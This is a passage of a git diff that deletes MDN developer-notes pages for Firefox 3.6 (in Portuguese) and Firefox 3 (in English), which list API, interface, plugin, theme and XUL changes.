- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=528166" title="mozIStorageStatement getParameterIndex causes NS_ERROR_ILLEGAL_VALUE">bug 528166</a> para detalhes.</dd>
- <dt style="font-style: normal; font-weight: bold;">Ligar vários conjuntos de parâmetros assincronamente para executar uma declaração.</dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=490085" title="FIXED: Add ability to bind multiple sets of parameters and execute asynchronously">bug 490085</a> para detalhes. A documentação virá em breve.</dd>
-</dl>
-
-<h3 id="Preferências">Preferências</h3>
-
-<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <li style="margin-bottom: 0.25em;">A interface <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentPrefService" title="">nsIContentPrefService</a></code> possui dois novos métodos: <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIContentPrefService#getPrefsByName()">nsIContentPrefService.getPrefsByName()</a></code> e <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIContentPrefService#removePrefsByName()">nsIContentPrefService.removePrefsByName()</a></code>.</li>
-</ul>
-
-<h3 id="Temas">Temas</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Veja <a class="internal" href="/en/Updating_themes_for_Firefox_3.6" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Updating themes for Firefox 3.6">Updating themes for Firefox 3.6</a> para detalhes.</p>
-
-<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/Themes/Lightweight_themes" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Themes/Lightweight themes">Lightweight themes</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">O Firefox 3.6 suporta temas leves; estes são temas fáceis de criar que simplesmente aplicam uma imagem de fundo ao topo (barra de endereços e barra de botões) e inferior (barra de estado (status)) das janelas do navegador. Esta é uma integração à arquitetura de temas existente <a class="external" href="http://www.getpersonas.com/" title="http://www.getpersonas.com/">Personas</a> no Firefox.</dd>
-</dl>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"> </p>
-
-<h3 id="Miscelânea">Miscelânea</h3>
-
-<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <li style="margin-bottom: 0.25em;">O Firefox não carregará mais componentes de terceiros instalados em seu diretório interno de componentes. Isto ajuda a assegurar estabilidade, prevenindo componentes defeituosos de terceiros de serem executados. Desenvolvedores que instalarem componentes desta maneira devem<a href="/en/Migrating_raw_components_to_add-ons" title="en/Migrating raw components to add-ons"> re-empacotar seus componentes como pacotes XPI</a> (en) para então poderem ser instalados como complementos padrão.</li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">contents.rdf</code> não é mais suportado para o registro do chrome nas extensões. Ao invés disso, deve-se agora usar o arquivo <a class="internal" href="/en/Install_Manifests" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Install manifests"><code style="color: inherit; font-weight: inherit;">chrome.manifest</code></a>. Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=492008" title="FIXED: Drop support for contents.rdf chrome registrations">bug 492008</a>.</li>
- <li style="margin-bottom: 0.25em;">Adicionado suporte para ocultar a barra de menus automaticamente. Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=477256" title="FIXED: Implement menubar auto-hiding in toolkit">bug 477256</a>.</li>
- <li style="margin-bottom: 0.25em;">Adicionado suporte para o atributo <code style="color: rgb(37, 34, 29); font-weight: inherit;">container-live-role</code> para objetos. Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=391829" title="FIXED: Add support for container-live-role to object attributes">bug 391829</a>.</li>
- <li style="margin-bottom: 0.25em;">O obrigatório <code style="color: rgb(37, 34, 29); font-weight: inherit;">tabs-closebutton</code> foi removido. Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=500971" title="FIXED: Remove obsolete tabs-closebutton binding">bug 500971</a>.</li>
- <li style="margin-bottom: 0.25em;">Adicionado suporte a <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISound" title="">nsISound</a></code> para tocar sons baseados em eventos que tenham ocorrido. Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=502799" title="FIXED: add new nsISound method for the event sounds">bug 502799</a>.</li>
- <li style="margin-bottom: 0.25em;">A sintaxe para os métodos <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsITreeView#canDrop()">nsITreeView.canDrop()</a></code> e <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsITreeView#drop()">nsITreeView.drop()</a></code> de <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsITreeView" title="">nsITreeView</a></code> foi mudada para suportar a nova API de arrastar e soltar (drag &amp; drop) introduzida no Gecko 1.9. Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=455590" title="FIXED: Allow new dnd api with tree views">bug 455590</a>.</li>
- <li style="margin-bottom: 0.25em;">Adicionado suporte para trocar o cursor do mouse para o botão padrão de diálogo ou assistente no Windows, veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=76053" title='FIXED: Windows mouse integration: "Snap to default button in dialog boxes"'>bug 76053</a>. Isto é processdo automaticamente pelo elemento de diálogo ou assistente, mas se uma aplicação XUL cria uma janela usando o  elemento <code style="color: rgb(37, 34, 29); font-weight: inherit;">window</code> e ele possui um botão padrão, é necessário chamar <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIDOMChromeWindow#notifyDefaultButtonLoaded()">nsIDOMChromeWindow.notifyDefaultButtonLoaded()</a></code> durante o evento manipulador <code style="color: rgb(37, 34, 29); font-weight: inherit;">onload</code> da janela.</li>
- <li style="margin-bottom: 0.25em;">A interface <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsILocalFileMac" title="">nsILocalFileMac</a></code> teve dos elementos removidos: <code style="color: rgb(37, 34, 29); font-weight: inherit;">setFileTypeAndCreatorFromMIMEType()</code> e <code style="color: rgb(37, 34, 29); font-weight: inherit;">setFileTypeAndCreatorFromExtension()</code>.</li>
- <li style="margin-bottom: 0.25em;">O novo módulo de código <a class="internal" href="/en/JavaScript/Code_modules/NetUtil.jsm" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/JavaScript code modules/NetUtil.jsm"><code style="color: inherit; font-weight: inherit;">NetUtils.jsm</code></a> proporciona um método fácil de usar para a cópia de dados assíncrona de um fluxo de entrada para um fluxo de saída.</li>
- <li style="margin-bottom: 0.25em;">O novo módulo de código <a class="internal" href="/en/JavaScript/Code_modules/openLocationLastURL.jsm" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/JavaScript code modules/openLocationLastURL.jsm"><code style="color: inherit; font-weight: inherit;">openLocationLastURL.jsm</code></a> permite a facilidade para ler e mudar o valor de "Open Location" das URLs lembradas pela caixa de diálogo adequadamente enquanto no modo de navegação privativa.</li>
- <li style="margin-bottom: 0.25em;">No Windows, a interface <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIScreen" title="">nsIScreen</a></code> agora reporta profundidades de cor de 24 bits por pixel quando o driver gráfico solicita 32 bits, uma vez que 24 representa mais acuradamente o número atual de pixels de cor em uso.</li>
- <li style="margin-bottom: 0.25em;">Barras de menu podem agora ser ocultadas no Windows, usando o novo atributo <code id="a-autohide"><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Attribute/autohide">autohide</a></code> no elemento XUL <code><a href="/pt-PT/docs/Mozilla/Tech/XUL/toolbar" title="toolbar">toolbar</a></code>.</li>
- <li style="margin-bottom: 0.25em;">Os métodos <span id="m-loadOneTab"><code><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Method/loadOneTab">loadOneTab</a></code></span> e <span id="m-addTab"><code><a href="https://developer.mozilla.org/pt-PT/docs/Mozilla/Tech/XUL/Method/addTab">addTab</a></code></span> agora aceitam um novo parâmetro <code style="color: rgb(37, 34, 29); font-weight: inherit;">relatedToCurrent</code> e, em adição, permitem aos parâmetros serem especificados pelo nome, uma vez que quase todos os parâmetros são opcionais.</li>
- <li style="margin-bottom: 0.25em;">A propriedade "<a href="/en/Install_Manifests#hidden" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Install Manifests#hidden">hidden</a>" não é mais suportada em manifestos de instalação; não é mais possível evitar que o usuário veja complementos na janela do gerenciador de complementos.</li>
- <li style="margin-bottom: 0.25em;">O componente <code style="color: rgb(37, 34, 29); font-weight: inherit;">@mozilla.org/webshell;1</code> não existe mais; é necessário usar <code style="color: rgb(37, 34, 29); font-weight: inherit;">@mozilla.org/docshell;1</code> ao invés.</li>
- <li style="margin-bottom: 0.25em;">É possível agora registrar com a categoria update-timer para agendar eventos de tempo sem precisar instanciar o objeto que o contador eventualmente chamará; ao invés disso, ele será instanciado quando for necessário. Veja <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIUpdateTimerManager#registerTimer()">nsIUpdateTimerManager.registerTimer()</a></code> para detalhes.</li>
- <li style="margin-bottom: 0.25em;">A função <a href="/en/NPN_GetValue" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/NPN GetValue"><code style="color: inherit; font-weight: inherit;">NPN_GetValue()</code></a> não mais provê acesso ao XPCOM através dos valores das variáveis <code style="color: inherit; font-weight: inherit;">NPNVserviceManager</code>, <code style="color: inherit; font-weight: inherit;">NPNVDOMelement</code> e <code style="color: inherit; font-weight: inherit;">NPNVDOMWindow</code>. Isto é parte do trabalho de fazer com que os plugins rodem processos separados em uma versão futura do Gecko.</li>
- <li style="margin-bottom: 0.25em;">Os plugins não são mais <em>scriptable</em> através das interfaces do XPCOM (IDL), <a href="/en/Gecko_Plugin_API_Reference/Scripting_plugins" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Gecko Plugin API Reference:Scripting plugins">NPRuntime</a> é a API a ser usada para tornar estes plugins <em>scriptable</em>, e <a href="/en/NPP_GetValue" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/NPP GetValue"><code style="color: inherit; font-weight: inherit;">NPP_GetValue()</code></a> não é mais chamado com o valor de <code style="color: inherit; font-weight: inherit;">NPPVpluginScriptableInstance</code> ou <code style="color: inherit; font-weight: inherit;">NPPVpluginScriptableIID</code>. Isto é parte do trabalho de fazer com que os plugins rodem processos separados em uma versão futura do Gecko.</li>
-</ul>
-
-<h2 id="Para_desenvolvedores_FirefoxGecko">Para desenvolvedores Firefox/Gecko</h2>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Algumas mudanças são interessantes somente se você trabalha internamente no próprio Firefox.</p>
-
-<h3 id="Interfaces_mescladas">Interfaces mescladas</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">As seguintes interfaces foram unidas:</p>
-
-<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPluginTagInfo2</code> foi mesclada em <code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPluginTagInfo</code>.</li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPluginInstanceInternal</code>, <code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPPluginInstancePeer</code>, <code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPluginInstancePeer1</code>, <code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPluginInstancePeer2 e </code><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPluginInstancePeer3</code> foram todas mescladas em <code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPluginInstance</code>.</li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIWindowlessPlugInstPeer</code> foi mesclada em <code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPluginInstance</code>.</li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPluginManager </code>e <code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPluginManager2</code> foram mescladas em <code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPluginHost</code>.</li>
-</ul>
-
-<h3 id="Interfaces_removidas">Interfaces removidas</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">As seguintes interfaces foram removidas inteiramente porque eram obsoletas, não utilizadas ou não implementadas:</p>
-
-<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIFullScreen</code></li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIDOMSVGListener</code></li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIDOMSVGZoomListener</code></li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIInternetConfigService</code></li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIDKey</code></li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIEventHandler</code></li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIJRILiveConnectPIPeer</code></li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIJRILiveConnectPlugin</code></li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIScriptablePlugin</code></li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIClassicPluginFactory</code></li>
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIFileUtilities</code></li>
-</ul>
-
-<h3 id="Interfaces_movidas">Interfaces movidas</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">As seguintes interfaces foram realocadas de seus arquivos IDL anteriores em novos:</p>
-
-<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <li style="margin-bottom: 0.25em;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIDOMNSCSS2Properties</code> está agora localizada em seu próprio arquivo IDL (<code style="color: rgb(37, 34, 29); font-weight: inherit;">dom/interfaces/css/nsIDOMCSS2Properties.idl</code>).</li>
- <li style="margin-bottom: 0.25em;"><code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIUpdateTimerManager" title="">nsIUpdateTimerManager</a></code> está agora localizada em seu próprio arquivo IDL.</li>
-</ul>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Um grande número de interfaces foram movidas. Veja <a href="/en/Interfaces_moved_in_Firefox_3.6" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Interfaces moved in Firefox 3.6">Interfaces moved in Firefox 3.6</a> para uma lista completa.</p>
-
-<h3 id="Outras_mudanças_na_interface">Outras mudanças na interface</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">As seguintes alterações foram feitas:</p>
-
-<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <li style="margin-bottom: 0.25em;">A interface <code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPlugin</code> agora herda de <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code> ao invés de <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFactory" title="">nsIFactory</a></code>.</li>
- <li style="margin-bottom: 0.25em;">A interface <code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIPluginHost</code> agora herda de <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code> ao invés de <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFactory" title="">nsIFactory</a></code>.</li>
- <li style="margin-bottom: 0.25em;">A interface <code style="color: rgb(37, 34, 29); font-weight: inherit;">nsIFrame</code> agora herda de <code style="color: rgb(37, 34, 29); font-weight: inherit;">nsQueryFrame</code> ao invés de <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code>.</li>
- <li style="margin-bottom: 0.25em;">O método getPaletteInfo() de <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDeviceContext" title="">nsIDeviceContext</a></code> foi removido, haja vista que ele nunca foi implementado.</li>
- <li style="margin-bottom: 0.25em;">O método reportPendingException() de <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIScriptContext" title="">nsIScriptContext</a></code> foi removido, já que ele não estava mais sendo usado.</li>
-</ul>
-
-<p> </p>
-
-<h3 id="Mudanças_na_acessibilidade_do_código">Mudanças na acessibilidade do código</h3>
-
-<ul>
- <li>O <a href="/en/XPCOM_Interface_Reference/nsIAccessibleEvent" title="en/XPCOM Interface Reference/nsIAccessibleEvent">evento de acessibilidade</a> (en) <code style="color: rgb(37, 34, 29); font-weight: inherit;">EVENT_REORDER</code> é agora enviado quando os "filhos" dos frames e iframes mudam, assim como quando os "filhos" do documento principal mudam. Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=420845" title="FIXED: Fire event_reorder on any embedded frames/iframes whos document has just loaded.">bug 420845</a>.</li>
- <li>O <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIAccessibleTable#selectRow()">nsIAccessibleTable.selectRow()</a></code> agora remove corretamente qualquer seleção corrente antes de selecionar uma linha específica.</li>
-</ul>
-
-<h3 id="Veja_também">Veja também</h3>
-
-<ul>
- <li><a href="/Pt/Firefox_3.5_para_desenvolvedores" title="Pt/Firefox 3.5 para desenvolvedores">Firefox 3.5 para desenvolvedores</a></li>
- <li style="margin-bottom: 0.25em;"><a class="internal" href="/pt/Firefox_3_para_desenvolvedores" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="pt/Firefox 3 para desenvolvedores">Firefox 3 para desenvolvedores</a></li>
- <li style="margin-bottom: 0.25em;"><a class="internal" href="/pt/Firefox_2_para_desenvolvedores" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="pt/Firefox 2 para desenvolvedores">Firefox 2 para desenvolvedores</a></li>
- <li style="margin-bottom: 0.25em;"><a class="internal" href="/pt/Firefox_1.5_para_Desenvolvedores" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="pt/Firefox 1.5 para Desenvolvedores">Firefox 1.5 para desenvolvedores</a></li>
-</ul>
diff --git a/files/pt-pt/mozilla/firefox/releases/3/index.html b/files/pt-pt/mozilla/firefox/releases/3/index.html
deleted file mode 100644
index 129fa2fc1e..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/3/index.html
+++ /dev/null
@@ -1,298 +0,0 @@
----
-title: Firefox 3 for developers
-slug: Mozilla/Firefox/Releases/3
-tags:
- - Firefox 3
- - NeedsTranslation
- - TopicStub
-translation_of: Mozilla/Firefox/Releases/3
----
-<div>{{FirefoxSidebar}}</div><p>If you're a developer trying to get a handle on all the new features in Firefox 3, this is the perfect place to start. This article provides a list of the new articles covering features added to Firefox 3. While it doesn't necessarily cover every little change, it will help you learn about the major improvements.</p>
-<h2 id="New_developer_features_in_Firefox_3" name="New_developer_features_in_Firefox_3">New developer features in Firefox 3</h2>
-<h3 id="For_web_site_and_application_developers" name="For_web_site_and_application_developers">For web site and application developers</h3>
-<dl>
- <dt>
- <a href="/en-US/docs/Updating_web_applications_for_Firefox_3" title="en-US/docs/Updating_web_applications_for_Firefox_3">Updating web applications for Firefox 3</a></dt>
- <dd>
- Provides information about changes you may need to make to your web site or web application to take advantage of new features in Firefox 3.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Online_and_offline_events" title="en-US/docs/Online_and_offline_events">Online and offline events</a></dt>
- <dd>
- Firefox 3 supports WHATWG online and offline events, which let applications and extensions detect whether or not there's an active Internet connection, as well as to detect when the connection goes up and down.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Web-based_protocol_handlers" title="en-US/docs/Web-based_protocol_handlers">Web-based protocol handlers</a></dt>
- <dd>
- You can now register web applications as protocol handlers using the <code>navigator.registerProtocolHandler()</code> method.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Drawing_text_using_a_canvas" title="en-US/docs/Drawing_text_using_a_canvas">Drawing text using a canvas</a></dt>
- <dd>
- You can now draw text in a canvas using a non-standardized API supported by Firefox 3.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Canvas_tutorial/Transformations#Transforms" title="en-US/docs/Canvas_tutorial/Transformations#Transforms">Transform support for canvas</a></dt>
- <dd>
- Firefox now supports the <code>transform()</code> and <code>setTransform()</code> methods on canvases.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Using_microformats" title="en-US/docs/Using_microformats">Using microformats</a></dt>
- <dd>
- Firefox now has APIs for working with microformats.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Drag_and_drop_events" title="en-US/docs/Drag_and_drop_events">Drag and drop events</a></dt>
- <dd>
- Firefox 3 supports new events that are sent to the source node for a drag operation when the drag begins and ends.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Focus_management_in_HTML" title="en-US/docs/Focus_management_in_HTML">Focus management in HTML</a></dt>
- <dd>
- The new HTML 5 <code>activeElement</code> and <code>hasFocus</code> attributes are supported.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Offline_resources_in_Firefox" title="en-US/docs/Offline_resources_in_Firefox">Offline resources in Firefox</a></dt>
- <dd>
- Firefox now lets web applications request that resources be cached to allow the application to be used while offline.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/CSS_improvements_in_Firefox_3" title="en-US/docs/CSS_improvements_in_Firefox_3">CSS improvements in Firefox 3</a></dt>
- <dd>
- Firefox 3 features a number of improvements in its CSS support.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/DOM_improvements_in_Firefox_3" title="en-US/docs/DOM_improvements_in_Firefox_3">DOM improvements in Firefox 3</a></dt>
- <dd>
- Firefox 3 offers a number of new features in Firefox 3's DOM implementation, including support for several Internet Explorer extensions to the DOM.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/New_in_JavaScript_1.8" title="en-US/docs/New_in_JavaScript_1.8">JavaScript 1.8 support</a></dt>
- <dd>
- Firefox 3 offers JavaScript 1.8.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/EXSLT" title="en-US/docs/EXSLT">EXSLT support</a></dt>
- <dd>
- Firefox 3 provides support for a substantial subset of the <a href="/en-US/docs/EXSLT" title="en-US/docs/EXSLT">EXSLT</a> extensions to <a href="/en-US/docs/XSLT" title="en-US/docs/XSLT">XSLT</a>.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/SVG_improvements_in_Firefox_3" title="en-US/docs/SVG_improvements_in_Firefox_3">SVG improvements in Firefox 3</a></dt>
- <dd>
- SVG support in Firefox 3 has been upgraded significantly, with support for over two dozen new filters, several new elements and attributes, and other improvements.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Animated_PNG_graphics" title="en-US/docs/Animated_PNG_graphics">Animated PNG graphics</a></dt>
- <dd>
- Firefox 3 supports the animated PNG (APNG) image format.</dd>
-</dl>
-<h3 id="For_XUL_and_extension_developers" name="For_XUL_and_extension_developers">For XUL and extension developers</h3>
-<h4 id="Notable_changes_and_improvements" name="Notable_changes_and_improvements">Notable changes and improvements</h4>
-<dl>
- <dt>
- <a href="/en-US/docs/Updating_extensions_for_Firefox_3" title="en-US/docs/Updating_extensions_for_Firefox_3">Updating extensions for Firefox 3</a></dt>
- <dd>
- Provides a guide to the things you'll need to do to update your extension to work with Firefox 3.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/XUL_improvements_in_Firefox_3" title="en-US/docs/XUL_improvements_in_Firefox_3">XUL improvements in Firefox 3</a></dt>
- <dd>
- Firefox 3 offers a number of new XUL elements, including new sliding scales, the date and time pickers, and spin buttons.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Templates_in_Firefox_3" title="en-US/docs/Templates_in_Firefox_3">Templates in Firefox 3</a></dt>
- <dd>
- Templates have been significantly improved in Firefox 3. The key improvement allows the use of custom query processors to allow data sources other than RDF to be used.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Extension_Versioning,_Update_and_Compatibility#Securing_Updates" title="en-US/docs/Extension_Versioning,_Update_and_Compatibility#Securing_Updates">Securing updates</a></dt>
- <dd>
- In order to provide a more secure add-on upgrade path for users, add-ons are now required to provide a secure method for obtaining updates before they can be installed. Add-ons hosted at <a class="external" href="http://addons.mozilla.org">AMO</a> automatically provide this. Any add-ons installed that do not provide a secure update method when the user upgrades to Firefox 3 will be automatically disabled. Firefox will however continue to check for updates to the extension over the insecure path and attempt to install any update offered (installation will fail if the update also fails to provide a secure update method).</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Places_Developer_Guide" title="en-US/docs/Places_migration_guide">Places migration guide</a></dt>
- <dd>
- An article about how to update an existing extension to use the Places API.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Download_Manager_improvements_in_Firefox_3" title="en-US/docs/Download_Manager_improvements_in_Firefox_3">Download Manager improvements in Firefox 3</a></dt>
- <dd>
- The Firefox 3 Download Manager features new and improved APIs, including support for multiple progress listeners.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/XPCOM_Interface_Reference/Using_nsILoginManager" title="en-US/docs/Using_nsILoginManager">Using nsILoginManager</a></dt>
- <dd>
- The Password Manager has been replaced by the new Login Manager.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/XBL/XBL_1.0_Reference/Elements#binding" title="en-US/docs/XBL/XBL_1.0_Reference/Elements#binding">Embedding XBL bindings</a></dt>
- <dd>
- You can now use the <code>data:</code> URL scheme from chrome code to embed XBL bindings directly instead of having them in separate XML files.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Localizing_extension_descriptions" title="en-US/docs/Localizing_extension_descriptions">Localizing extension descriptions</a></dt>
- <dd>
- Firefox 3 offers a new method for localizing add-on metadata. This lets the localized details be available as soon as the add-on has been downloaded, as well as when the add-on is disabled.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Localization_and_Plurals" title="en-US/docs/Localization_and_Plurals">Localization and Plurals</a></dt>
- <dd>
- Firefox 3 adds the new PluralForm module, which provides tools to aid in correctly pluralizing words in multiple localizations.</dd>
-</dl>
-<dl>
- <dt>
- <a href="/en-US/docs/Theme_changes_in_Firefox_3" title="en-US/docs/Theme_changes_in_Firefox_3">Theme changes in Firefox 3</a></dt>
- <dd>
- Notes and information of use to people who want to create themes for Firefox 3.</dd>
